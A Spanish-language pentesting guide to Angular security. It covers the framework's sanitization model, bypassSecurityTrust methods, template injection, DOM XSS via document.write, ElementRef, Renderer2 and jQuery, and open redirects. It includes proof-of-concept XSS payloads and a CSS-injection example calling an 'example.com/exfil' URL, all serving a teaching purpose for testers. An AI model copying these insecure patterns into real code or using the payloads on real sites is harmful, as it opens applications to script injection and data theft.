Angular

The Checklist

Checklist from here.

What is Angular

Angular es un poderoso y de código abierto marco de front-end mantenido por Google. Utiliza TypeScript para mejorar la legibilidad del código y la depuración. Con mecanismos de seguridad sólidos, Angular previene vulnerabilidades comunes del lado del cliente como XSS y redirecciones abiertas. También se puede utilizar en el lado del servidor, lo que hace que las consideraciones de seguridad sean importantes desde ambos ángulos.

Framework architecture

Para entender mejor los conceptos básicos de Angular, revisemos sus conceptos esenciales.

Un proyecto común de Angular generalmente se ve así:

my-workspace/
├── ... #workspace-wide configuration files
├── src
   ├── app
      ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
      ├── app.component.ts #defines the logic for the application's root component
      ├── app.component.html #defines the HTML template associated with the root component
      ├── app.component.css #defines the base CSS stylesheet for the root component
      ├── app.component.spec.ts #defines a unit test for the root component
      └── app-routing.module.ts #provides routing capability for the application
   ├── lib
      └── src #library-specific configuration files
   ├── index.html #main HTML page, where the component will be rendered in
   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Según la documentación, cada aplicación Angular tiene al menos un componente, el componente raíz (AppComponent) que conecta una jerarquía de componentes con el DOM. Cada componente define una clase que contiene datos y lógica de la aplicación, y está asociada con una plantilla HTML que define una vista que se mostrará en un entorno objetivo. El decorador @Component() identifica la clase inmediatamente debajo de él como un componente y proporciona la plantilla y los metadatos específicos del componente relacionados. El AppComponent se define en el archivo app.component.ts.

Los NgModules de Angular declaran un contexto de compilación para un conjunto de componentes que está dedicado a un dominio de aplicación, un flujo de trabajo o un conjunto de capacidades estrechamente relacionadas. Cada aplicación Angular tiene un módulo raíz, convencionalmente llamado AppModule, que proporciona el mecanismo de arranque que lanza la aplicación. Una aplicación típicamente contiene muchos módulos funcionales. El AppModule se define en el archivo app.module.ts.

El NgModule Router de Angular proporciona un servicio que te permite definir un camino de navegación entre los diferentes estados de la aplicación y jerarquías de vista en tu aplicación. El RouterModule se define en el archivo app-routing.module.ts.

Para datos o lógica que no están asociados con una vista específica, y que deseas compartir entre componentes, creas una clase de servicio. La definición de una clase de servicio es precedida inmediatamente por el decorador @Injectable(). El decorador proporciona los metadatos que permiten que otros proveedores sean inyectados como dependencias en tu clase. La inyección de dependencias (DI) te permite mantener tus clases de componente delgadas y eficientes. No obtienen datos del servidor, no validan la entrada del usuario ni registran directamente en la consola; delegan tales tareas a los servicios.

Configuración de sourcemap

El marco Angular traduce archivos TypeScript en código JavaScript siguiendo las opciones de tsconfig.json y luego construye un proyecto con la configuración de angular.json. Al observar el archivo angular.json, notamos una opción para habilitar o deshabilitar un sourcemap. Según la documentación de Angular, la configuración predeterminada tiene un archivo sourcemap habilitado para scripts y no está oculto por defecto:

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

Generalmente, los archivos sourcemap se utilizan para fines de depuración, ya que mapean los archivos generados a sus archivos originales. Por lo tanto, no se recomienda usarlos en un entorno de producción. Si los sourcemaps están habilitados, mejora la legibilidad y ayuda en el análisis de archivos al replicar el estado original del proyecto Angular. Sin embargo, si están deshabilitados, un revisor aún puede analizar un archivo JavaScript compilado manualmente buscando patrones anti-seguridad.

Además, un archivo JavaScript compilado con un proyecto Angular se puede encontrar en las herramientas de desarrollo del navegador → Fuentes (o Depurador y Fuentes) → [id].main.js. Dependiendo de las opciones habilitadas, este archivo puede contener la siguiente fila al final //# sourceMappingURL=[id].main.js.map o puede no contenerla, si la opción hidden está configurada como true. No obstante, si el sourcemap está deshabilitado para scripts, la prueba se vuelve más compleja y no podemos obtener el archivo. Además, el sourcemap se puede habilitar durante la construcción del proyecto como ng build --source-map.

Vinculación

La vinculación se refiere al proceso de comunicación entre un componente y su vista correspondiente. Se utiliza para transferir datos hacia y desde el marco Angular. Los datos se pueden pasar a través de varios medios, como a través de eventos, interpolación, propiedades o mediante el mecanismo de vinculación bidireccional. Además, los datos también se pueden compartir entre componentes relacionados (relación padre-hijo) y entre dos componentes no relacionados utilizando la función de Servicio.

Podemos clasificar la vinculación por flujo de datos:

  • Fuente de datos a objetivo de vista (incluye interpolación, propiedades, atributos, clases y estilos); se puede aplicar utilizando [] o {{}} en la plantilla;

  • Objetivo de vista a fuente de datos (incluye eventos); se puede aplicar utilizando () en la plantilla;

  • Bidireccional; se puede aplicar utilizando [()] en la plantilla.

La vinculación se puede llamar en propiedades, eventos y atributos, así como en cualquier miembro público de una directiva fuente:

TIPO
OBJETIVO
EJEMPLOS

Propiedad

Propiedad de elemento, Propiedad de componente, Propiedad de directiva

<img [alt]="hero.name" [src]="heroImageUrl">

Evento

Evento de elemento, Evento de componente, Evento de directiva

<button type="button" (click)="onSave()">Guardar

Bidireccional

Evento y propiedad

<input [(ngModel)]="name">

Atributo

Atributo (la excepción)

<button type="button" [attr.aria-label]="help">ayuda

Clase

propiedad de clase

<div [class.special]="isSpecial">Especial

Estilo

propiedad de estilo

<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Modelo de seguridad de Angular

El diseño de Angular incluye la codificación o sanitización de todos los datos por defecto, lo que hace cada vez más difícil descubrir y explotar vulnerabilidades XSS en proyectos Angular. Hay dos escenarios distintos para el manejo de datos:

  1. Interpolación o {{user_input}} - realiza codificación sensible al contexto e interpreta la entrada del usuario como texto;

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

Resultado: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. Vinculación a propiedades, atributos, clases y estilos o [attribute]="user_input" - realiza sanitización basada en el contexto de seguridad proporcionado.

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Resultado: <div><h1>test</h1></div>

Hay 6 tipos de SecurityContext:

  • None;

  • HTML se utiliza, cuando se interpreta el valor como HTML;

  • STYLE se utiliza, cuando se vincula CSS a la propiedad style;

  • URL se utiliza para propiedades de URL, como <a href>;

  • SCRIPT se utiliza para código JavaScript;

  • RESOURCE_URL como una URL que se carga y se ejecuta como código, por ejemplo, en <script src>.

Vulnerabilidades

Métodos de Bypass Security Trust

Angular introduce una lista de métodos para eludir su proceso de sanitización por defecto e indicar que un valor se puede usar de manera segura en un contexto específico, como en los siguientes cinco ejemplos:

  1. bypassSecurityTrustUrl se utiliza para indicar que el valor dado es una URL de estilo segura:

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Haz clic en mí</a>

//resultado
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Haz clic en mí</a>
  1. bypassSecurityTrustResourceUrl se utiliza para indicar que el valor dado es una URL de recurso segura:

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//resultado
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml se utiliza para indicar que el valor dado es HTML seguro. Tenga en cuenta que insertar elementos script en el árbol DOM de esta manera no hará que se ejecute el código JavaScript encerrado, debido a cómo se añaden estos elementos al árbol DOM.

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>etiqueta html</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//resultado
<h1>etiqueta html</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript se utiliza para indicar que el valor dado es JavaScript seguro. Sin embargo, encontramos que su comportamiento es impredecible, porque no pudimos ejecutar código JS en plantillas utilizando este método.

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//resultado
-
  1. bypassSecurityTrustStyle se utiliza para indicar que el valor dado es CSS seguro. El siguiente ejemplo ilustra la inyección de CSS:

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//resultado
Request URL: GET example.com/exfil/a

Angular proporciona un método sanitize para sanitizar datos antes de mostrarlos en vistas. Este método emplea el contexto de seguridad proporcionado y limpia la entrada en consecuencia. Sin embargo, es crucial utilizar el contexto de seguridad correcto para los datos y el contexto específicos. Por ejemplo, aplicar un sanitizador con SecurityContext.URL en contenido HTML no proporciona protección contra valores HTML peligrosos. En tales escenarios, el mal uso del contexto de seguridad podría llevar a vulnerabilidades XSS.

Inyección de HTML

Esta vulnerabilidad ocurre cuando la entrada del usuario se vincula a cualquiera de las tres propiedades: innerHTML, outerHTML o iframe srcdoc. Mientras que la vinculación a estos atributos interpreta HTML tal como es, la entrada se sanitiza utilizando SecurityContext.HTML. Por lo tanto, la inyección de HTML es posible, pero el scripting entre sitios (XSS) no lo es.

Ejemplo de uso de innerHTML:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

El resultado es <div><h1>test</h1></div>.

Inyección de plantillas

Renderizado del lado del cliente (CSR)

Angular aprovecha las plantillas para construir páginas dinámicamente. El enfoque implica encerrar expresiones de plantilla para que Angular las evalúe dentro de llaves dobles ({{}}). De esta manera, el marco ofrece funcionalidad adicional. Por ejemplo, una plantilla como {{1+1}} se mostraría como 2.

Normalmente, Angular escapa la entrada del usuario que puede confundirse con expresiones de plantilla (por ejemplo, caracteres como `< > ' " ``). Esto significa que se requieren pasos adicionales para eludir esta restricción, como utilizar funciones que generan objetos de cadena de JavaScript para evitar el uso de caracteres en la lista negra. Sin embargo, para lograr esto, debemos considerar el contexto de Angular, sus propiedades y variables. Por lo tanto, un ataque de inyección de plantillas puede aparecer de la siguiente manera:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Como se mostró arriba: constructor se refiere al alcance de la propiedad Object constructor, lo que nos permite invocar el constructor de String y ejecutar un código arbitrario.

Renderizado del lado del servidor (SSR)

A diferencia de CSR, que ocurre en el DOM del navegador, Angular Universal es responsable del SSR de los archivos de plantilla. Estos archivos se entregan al usuario. A pesar de esta distinción, Angular Universal aplica los mismos mecanismos de saneamiento utilizados en CSR para mejorar la seguridad de SSR. Una vulnerabilidad de inyección de plantilla en SSR se puede detectar de la misma manera que en CSR, porque el lenguaje de plantilla utilizado es el mismo.

Por supuesto, también existe la posibilidad de introducir nuevas vulnerabilidades de inyección de plantilla al emplear motores de plantilla de terceros como Pug y Handlebars.

XSS

Interfaces DOM

Como se mencionó anteriormente, podemos acceder directamente al DOM utilizando la interfaz Document. Si la entrada del usuario no se valida de antemano, puede llevar a vulnerabilidades de scripting entre sitios (XSS).

Utilizamos los métodos document.write() y document.createElement() en los ejemplos a continuación:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Clases de Angular

Hay algunas clases que se pueden usar para trabajar con elementos del DOM en Angular: ElementRef, Renderer2, Location y Document. Una descripción detallada de las dos últimas clases se da en la sección Open redirects. La principal diferencia entre las dos primeras es que la API de Renderer2 proporciona una capa de abstracción entre el elemento del DOM y el código del componente, mientras que ElementRef solo mantiene una referencia al elemento. Por lo tanto, según la documentación de Angular, la API de ElementRef solo debe usarse como último recurso cuando se necesita acceso directo al DOM.

  • ElementRef contiene la propiedad nativeElement, que se puede usar para manipular los elementos del DOM. Sin embargo, el uso inadecuado de nativeElement puede resultar en una vulnerabilidad de inyección XSS, como se muestra a continuación:

//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • A pesar de que Renderer2 proporciona una API que se puede usar de manera segura incluso cuando no se admite el acceso directo a elementos nativos, aún tiene algunas fallas de seguridad. Con Renderer2, es posible establecer atributos en un elemento HTML utilizando el método setAttribute(), que no tiene mecanismos de prevención de XSS.

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">¡Haz clic en mí!</button>
  • Para establecer la propiedad de un elemento del DOM, puedes usar el método Renderer2.setProperty() y desencadenar un ataque XSS:

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">¡Haz clic en mí!</button>

Durante nuestra investigación, también examinamos el comportamiento de otros métodos de Renderer2, como setStyle(), createComment(), y setValue(), en relación con inyecciones XSS y CSS. Sin embargo, no pudimos encontrar vectores de ataque válidos para estos métodos debido a sus limitaciones funcionales.

jQuery

jQuery es una biblioteca de JavaScript rápida, pequeña y rica en características que se puede usar en el proyecto Angular para ayudar con la manipulación de los objetos DOM HTML. Sin embargo, como se sabe, los métodos de esta biblioteca pueden ser explotados para lograr una vulnerabilidad XSS. Para discutir cómo algunos métodos vulnerables de jQuery pueden ser explotados en proyectos Angular, agregamos esta subsección.

  • El método html() obtiene el contenido HTML del primer elemento en el conjunto de elementos coincidentes o establece el contenido HTML de cada elemento coincidente. Sin embargo, por diseño, cualquier constructor o método de jQuery que acepte una cadena HTML puede potencialmente ejecutar código. Esto puede ocurrir mediante la inyección de etiquetas <script> o el uso de atributos HTML que ejecutan código, como se muestra en el ejemplo.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>¡Haz clic en mí!</button>
<p>algún texto aquí</p>
  • El método jQuery.parseHTML() utiliza métodos nativos para convertir la cadena en un conjunto de nodos DOM, que luego se pueden insertar en el documento.

jQuery.parseHTML(data [, context ] [, keepScripts ])

Como se mencionó antes, la mayoría de las API de jQuery que aceptan cadenas HTML ejecutarán scripts que están incluidos en el HTML. El método jQuery.parseHTML() no ejecuta scripts en el HTML analizado a menos que keepScripts sea explícitamente true. Sin embargo, aún es posible en la mayoría de los entornos ejecutar scripts indirectamente; por ejemplo, a través del atributo <img onerror>.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>¡Haz clic en mí!</button>
<p id="palias">algún texto</p>

Open redirects

Interfaces DOM

Según la documentación de W3C, los objetos window.location y document.location se tratan como alias en los navegadores modernos. Por eso tienen una implementación similar de algunos métodos y propiedades, lo que podría causar un redireccionamiento abierto y XSS DOM con ataques de esquema javascript:// como se mencionó a continuación.

  • window.location.href(y document.location.href)

La forma canónica de obtener el objeto de ubicación DOM actual es usando window.location. También se puede usar para redirigir el navegador a una nueva página. Como resultado, tener control sobre este objeto nos permite explotar una vulnerabilidad de redireccionamiento abierto.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">¡Haz clic en mí!</button>

El proceso de explotación es idéntico para los siguientes escenarios.

  • window.location.assign()(y document.location.assign())

Este método hace que la ventana cargue y muestre el documento en la URL especificada. Si tenemos control sobre este método, podría ser un punto de entrada para un ataque de redireccionamiento abierto.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(y document.location.replace())

Este método reemplaza el recurso actual con el que se encuentra en la URL proporcionada.

Esto difiere del método assign() en que después de usar window.location.replace(), la página actual no se guardará en el historial de sesión. Sin embargo, también es posible explotar una vulnerabilidad de redireccionamiento abierto cuando tenemos control sobre este método.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

El método window.open() toma una URL y carga el recurso que identifica en una nueva pestaña o ventana existente. Tener control sobre este método también podría ser una oportunidad para desencadenar una vulnerabilidad XSS o de redireccionamiento abierto.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Clases de Angular

  • Según la documentación de Angular, Angular Document es lo mismo que el documento DOM, lo que significa que es posible usar vectores comunes para el documento DOM para explotar vulnerabilidades del lado del cliente en Angular. Las propiedades y métodos de Document.location podrían ser puntos de entrada para ataques de redireccionamiento abierto exitosos, como se muestra en el ejemplo:

//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">¡Haz clic en mí!</button>
  • Durante la fase de investigación, también revisamos la clase Location de Angular en busca de vulnerabilidades de redireccionamiento abierto, pero no se encontraron vectores válidos. Location es un servicio de Angular que las aplicaciones pueden usar para interactuar con la URL actual del navegador. Este servicio tiene varios métodos para manipular la URL dada - go(), replaceState(), y prepareExternalUrl(). Sin embargo, no podemos usarlos para redirigir a un dominio externo. Por ejemplo:

//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Resultado: http://localhost:4200/http://google.com/about

  • La clase Router de Angular se utiliza principalmente para navegar dentro del mismo dominio y no introduce vulnerabilidades adicionales en la aplicación:

//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Resultado: http://localhost:4200/https:

Los siguientes métodos también navegan dentro del ámbito del dominio:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

Referencias

Last updated